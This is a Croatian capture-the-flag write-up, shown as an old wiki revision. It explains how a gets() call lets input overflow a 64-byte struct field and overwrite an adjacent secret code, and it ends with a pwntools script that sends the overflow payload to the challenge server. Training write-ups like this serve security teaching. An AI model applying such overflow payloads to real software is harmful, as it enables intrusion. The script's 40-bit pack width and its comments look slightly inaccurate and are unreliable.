This is an old revision of the document!
Tajne korneta
Rješenje:
Iz koda zadatka vidimo da se rješenje ispisuje nakon testiranja uvjeta:
if (krivi_odgovor.tajni_kod == TOCAN_KOD){...}
To znači da je potrebno zapisati unutar varijable krivi_odgovor.tajni_kod vrijednost jednaka TOCAN_KOD-u:
#define TOCAN_KOD 0x6c32257e //Dakle vrijednost 0x6c32257e
Na liniji koja sadrži:
gets(krivi_odgovor.odgovor);
je vidljivo da se koristi nesigurna funkcija gets koja omogućuje unos proizvoljne duljine u zadanu varijablu. Zbog toga je moguće preplaviti varijablu krivi.odgovor.tajni_kod.
Varijabla krivi_odgovor je definirana kao struct odgovor čija je struktura definirana sljedećim kodom:
struct odgovor {
char odgovor[ODGOVOR_MAX]; //Gdje je ODGOVOR_MAX jednak 64
uint32_t tajni_kod;
};
Dakle, na stogu će se, krečući se prema višim adresama, nalaziti polje duljine 64 čija memorija pripada varijabli odgovor, a nakon njega 4 bajta koja pripadaju varijabli_tajni kod (uint32 = 4 bajta). Pošto je omogućen unos u polje odgovor proizvoljne duljine, a nakon njega se nalazi varijabla čija se vrijednost koristi u testiranju uvjeta za dobivanje rješenja, potrebno je preplaviti polje odgovor s 64 bajta i zatim nadodati još 4 čije su vrijednosti definirane s TOCAN_KOD.
Primjer rješenja uz pomoć PWN tools-a
PWN tools
payload.py
from pwn import * #import pwn tools-a
p = remote("chal.platforma.hacknite.hr",11004)
payload = b"A"*64 #padding
payload += pack(0x6c32257e,40) #naredba pack formatira unos s little-endian zapisom
payload += b"\n" #prekid veze
p.writeline(payload)
answer = p.readall()
print(answer.decode())